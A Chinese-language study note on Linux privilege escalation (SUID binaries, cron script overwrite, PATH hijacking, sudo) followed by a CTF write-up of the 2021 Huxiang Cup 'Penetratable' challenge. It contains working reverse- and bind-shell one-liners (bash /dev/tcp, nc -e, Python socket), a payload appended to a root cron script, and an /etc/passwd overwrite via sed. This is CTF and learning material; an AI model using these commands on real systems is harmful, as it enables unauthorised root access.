参考

Linux suid提权

Linux suid提权

什么是suid

suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

linux引入了3个文件来管理用户组:

  1. /etc/passwd存放用户信息。
  2. /etc/shadow存放用户密码信息。
  3. /etc/group存放组信息。

在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。

用户信息/etc/passwd每行共有7个字段冒号隔开:

字段1为用户名。

字段2为用户的密码。

字段3为指UID,每个用户都有自己的uid。

字段4为组UID,每个用户都有不同的uid。

字段5为解释说明的字段。

字段6为指用户的根目录。

字段7为指登录shell,用户登录shell,当前为/bin/zsh表示可以登录,/sbin/nologin标识不被授权登录。

img

如何利用

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。

只有root用户的uid是0,如果把一个普通用户的uid修改为0,那么只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0。

假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。

利用此特性,就可通过suid进行提权。

如何设置suid

利用

1
2
chmod u+s filename #设置suid
chmod u-s filename #去除suid

img

可以看见,我们示例的图片由 -rw变为了-rwS,所以就是添加上了suid权限

如何查找suid文件

具有suid权限的二进制可执行文件有:

1
2
3
4
5
6
7
8
9
nmap
vim
find
bash
more
less
nano
cp
awk

从网上找了几个常见的命令

更多有关suid的可以看GTFOBins

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

以find / -perm -u=s -type f 2>/dev/null讲解一下各个参数代表什么

1
2
3
4
5
6
7
8
9
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

img

利用以上这几个命令可以找到正在系统上运行的所有suid可执行文件。

也可以使用sudo -l 列出当前用户可执行的命令

举个例子,我这里用Newstar的靶机演示了

1
find / -user root -perm -4000 -exec ls -ldb {} \;

img

ls一下看看是否设置了suid权限

1
ls -al /usr/bin/su

img

可以看到确实设置了suid权限,而且属主为root,现在我们是不是可以利用我们之前提到的suid可执行二进制文件从而进行提权呢

进行suid提权(这里就记一个find)

这里的前提都是要有suid权限

find

1
2
3
4
5
find 具有suid权限的filename -exec whoami \; -quit
#root
find 具有suid权限的filename -exec /bin/sh -p \; -quit
#whoami
#root

img

还有一种差不多的提权方法

1
2
3
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

img

广播shell

在靶机上:

1
find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

1
nc 靶机ip 4444

反弹shell

在靶机上:

1
find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \;

在攻击机上:

1
nc -lvp port

img

这里我延申一下,也可以写一个反弹root的shell

1
2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvp port

img

这里也可以结合之前的命令

1
/usr/bin/find 1.txt -exec python -c  'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

一些奇奇怪怪的提权

通过查询历史记录从而获得信息泄露的信息

利用以下命令可以获取

1
cat ~/.bash_history

这个命令可以查看当前用户使用过的历史命令

有可能会得到root登录的密码

img

linux配置错误从而提权

利用linuxprivchecker:https://www.securitysift.com/download/linuxprivchecker.py

unix-privesc-checkhttp://pentestmonkey.net/tools/audit/unix-privesc-check

这两个工具进行查找linux中配置错误的文件

计划任务提权

文件覆盖

计划任务由 crontab 管理,非 root 用户是无法列出 root 用户的计划任务的,但可以列出 /etc 的系统任务,系统任务默认是 root 权限运行的

如果某些定时任务是以 root 身份运行的,但它调用的 脚本/可执行文件日志文件 权限设置不当,被普通用户可修改,那么普通用户就可以在其中插入恶意命令,从而获得 root 权限

img

常见检查点:

  1. 查看定时任务的配置文件:

    1
    2
    cat /etc/crontab
    ls -l /etc/cron*

    这些里面的任务很多都是 root 执行的。

  2. 列出系统中所有用户的 crontab:

    1
    ls -l /var/spool/cron/

    普通用户一般只能改自己的,但 root 的脚本要重点关注。

  3. 检查 cron 调用的脚本/命令是否可写:

    1
    grep -R "" /etc/cron* 2>/dev/null

    然后逐个 ls -l 查看脚本是否对普通用户可写。

  4. 快速查找所有 root 任务涉及的可写文件:

    1
    2
    3
    4
    5
    for file in $(grep -oP '(?<=\s)/[^\s]+' /etc/crontab /etc/cron.*/* 2>/dev/null); do
    if [ -w "$file" ]; then
    echo "[+] Writable: $file"
    fi
    done

    这段脚本会找出计划任务调用的文件,并检查是否对当前用户可写

举一个简单的例子

假设 /etc/crontab 中有这样一行:

1
* * * * * root /usr/local/bin/backup.sh

再看文件权限:

1
2
ls -l /usr/local/bin/backup.sh
-rwxrwxrwx 1 root root 1234 Sep 10 20:00 /usr/local/bin/backup.sh

发现 backup.sh所有用户可写 (777),那么普通用户就可以这样:

1
echo "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" >> /usr/local/bin/backup.sh

然后在攻击机监听:

1
nc -lvnp 4444

下一次 cron 执行时(每分钟),你就会得到一个 root shell

环境变量劫持

原理

  • cron 任务默认是以 root 身份运行的

  • 如果在 cron 中没有写绝对路径,而是写了一个命令名,比如:

    1
    * * * * * root backup

    系统会去 $PATH 环境变量指定的路径里依次找 backup 这个可执行文件。

  • 如果攻击者能控制 PATH(或者 cron 任务执行时 PATH 包含了一个 可写目录,如 /tmp),就能在那个目录下放一个同名的恶意程序。

  • cron 运行时就会执行我们伪造的程序,从而拿到 root 权限。


检查方法

  1. 查看 /etc/crontab 和 /etc/cron.* 文件,看看任务有没有用相对命令(例如 backuptarpython)而不是绝对路径(如 /usr/bin/tar)。

    1
    2
    cat /etc/crontab
    cat /etc/cron.d/*
  2. 检查 cron 环境变量设置
    /etc/crontab 中,前几行可能有:

    1
    2
    SHELL=/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

    如果 PATH 中有一个可写目录(比如 /tmp),那么就有机会劫持。

  3. 检测可写目录

    1
    2
    3
    for dir in $(echo $PATH | tr ":" " "); do
    [ -w "$dir" ] && echo "[+] Writable: $dir"
    done

举个例子

假设 /etc/crontab 中有:

1
* * * * * root backup

同时 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/tmp

这里 /tmp 是所有用户可写的。

攻击步骤:

  1. /tmp 下创建一个恶意程序 backup

    1
    2
    3
    echo '#!/bin/bash' > /tmp/backup
    echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' >> /tmp/backup
    chmod +x /tmp/backup
  2. 攻击机监听端口:

    1
    nc -lvnp 4444
  3. 等待 cron 下次运行(每分钟执行一次)。

结果:
root 会执行 /tmp/backup(因为 PATH 优先级),攻击者就能拿到 root shell

PATH 优先级的原理

当 Linux 执行一个命令时,如果没有写绝对路径(比如直接写 backup 而不是 /usr/bin/backup),系统会按照 $PATH 环境变量里的目录顺序依次查找。

举个例子:

1
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/tmp

如果运行 backup,查找顺序是:

  1. /usr/local/sbin/backup
  2. /usr/local/bin/backup
  3. /sbin/backup
  4. /bin/backup
  5. /usr/sbin/backup
  6. /usr/bin/backup
  7. /tmp/backup

只要找到第一个匹配的可执行文件,就会立即执行,不会继续找

如何确保执行我们的文件
  • 方法一:利用 PATH 顺序
    如果 PATH 中本来就有一个可写目录(例如 /tmp),并且它在真正命令所在目录的 前面,那么只要我们在里面放一个同名的恶意文件,就一定会被优先执行。

  • 方法二:修改 PATH
    有时候 /etc/crontab 或脚本里会直接定义 PATH,比如:

    1
    PATH=/tmp:/usr/bin:/bin

    那么 /tmp 会优先。
    如果我们能修改调用的脚本(或者配置文件),也能插入一个恶意 PATH。

  • 方法三:命令本身就是自定义的
    如果 cron 任务里写的是 backup,而系统里本来就没有 backup 这个程序,那我们直接在 PATH 可写目录下放一个 backup,cron 就会默认用我们的

[湖湘杯 2021 final]Penetratable

[湖湘杯 2021 final]Penetratable

这道题差不多可以当成渗透题目来做

拿到题目网址,先用dirsearch扫一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Target: http://node4.anna.nssctf.cn:28861/

[17:31:17] Starting:
[17:31:20] 403 - 288B - /.ht_wsr.txt
[17:31:20] 403 - 288B - /.htaccess.bak1
[17:31:20] 403 - 288B - /.htaccess.orig
[17:31:20] 403 - 288B - /.htaccess.sample
[17:31:20] 403 - 288B - /.htaccess.save
[17:31:20] 403 - 288B - /.htaccess_extra
[17:31:20] 403 - 288B - /.htaccess_orig
[17:31:20] 403 - 288B - /.htaccess_sc
[17:31:20] 403 - 288B - /.htaccessBAK
[17:31:20] 403 - 288B - /.htaccessOLD
[17:31:20] 403 - 288B - /.htm
[17:31:20] 403 - 288B - /.html
[17:31:20] 403 - 288B - /.htaccessOLD2
[17:31:20] 403 - 288B - /.htpasswd_test
[17:31:20] 403 - 288B - /.httr-oauth
[17:31:20] 403 - 288B - /.htpasswds
[17:31:21] 403 - 288B - /.php
[17:31:29] 301 - 335B - /app -> http://node4.anna.nssctf.cn:28861/app/
[17:31:29] 200 - 520B - /app/
[17:31:32] 301 - 338B - /config -> http://node4.anna.nssctf.cn:28861/config/
[17:31:32] 200 - 487B - /config/
[17:31:42] 200 - 0B - /phpinfo.php
[17:31:46] 403 - 288B - /server-status/
[17:31:46] 403 - 288B - /server-status
[17:31:47] 301 - 338B - /static -> http://node4.anna.nssctf.cn:28861/static/

Task Completed

直接访问/phpinfo.php无任何反应,空白页面

先注册一个账号,登录之后发现有修改密码功能,并且通过熊猫头插件扫出来的接口得知存在admin和root用户,直接访问会提示无权限

image-20250815211555034

用bp拦截下该重置密码的请求并将用户名改为admin,密码修改成功

image-20250815212126812

再将名字改为root尝试修改提示无权限

再登录admin账号,直接访问接口/?c=admin&m=updatePass,提示缺少参数

于是查看js文件,搜索updatePass()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}

补上相关参数后,尝试修改root密码,成功

image-20250815212427917

成功登录root账号,里面有一个查看日志的功能,并可以将该日志文件下载下来

拦截下载请求包,发送到repeater,发现返回包会直接返回文件内容

image-20250815212640995

于是尝试是否有目录遍历漏洞,就访问前面dirsearch扫出来的文件phpinfo.php,成功

image-20250815213234991

将md5序列拿去解密

image-20250815213307838

都明白了之后,直接反弹shell出来

image-20250815213406495

查看根目录发现访问flag文件需要root权限,并且只能读取不能进行其他操作

image-20250815213501729

进行suid提权,首先查看哪些文件有suid权限:find / -perm -u=s -type f 2>/dev/null

image-20250815213626831

其中有/bin/sed我们可以进行利用,问手ai看看如何利用,成功读取flag

image-20250815213732730

还有另外一种方法,如下所示:

1
2
3
4
5
6
7
www-data@6aae652213e24b63:/var/www/html$ perl -le 'print crypt("test","addedsalt")'
adMpHktIn0tR2
www-data@6aae652213e24b63:/var/www/html$ sed -i 's/root:x/root:adMpHktIn0tR2/g' /etc/passwd
www-data@6aae652213e24b63:/var/www/html$ su
Password:
root@6aae652213e24b63:/var/www/html# cat /flag
NSSCTF{689a8f95-ec99-490e-8dbf-65f9df21d716}

SUDO提权

1
sudo -l

https://gtfobins.github.io/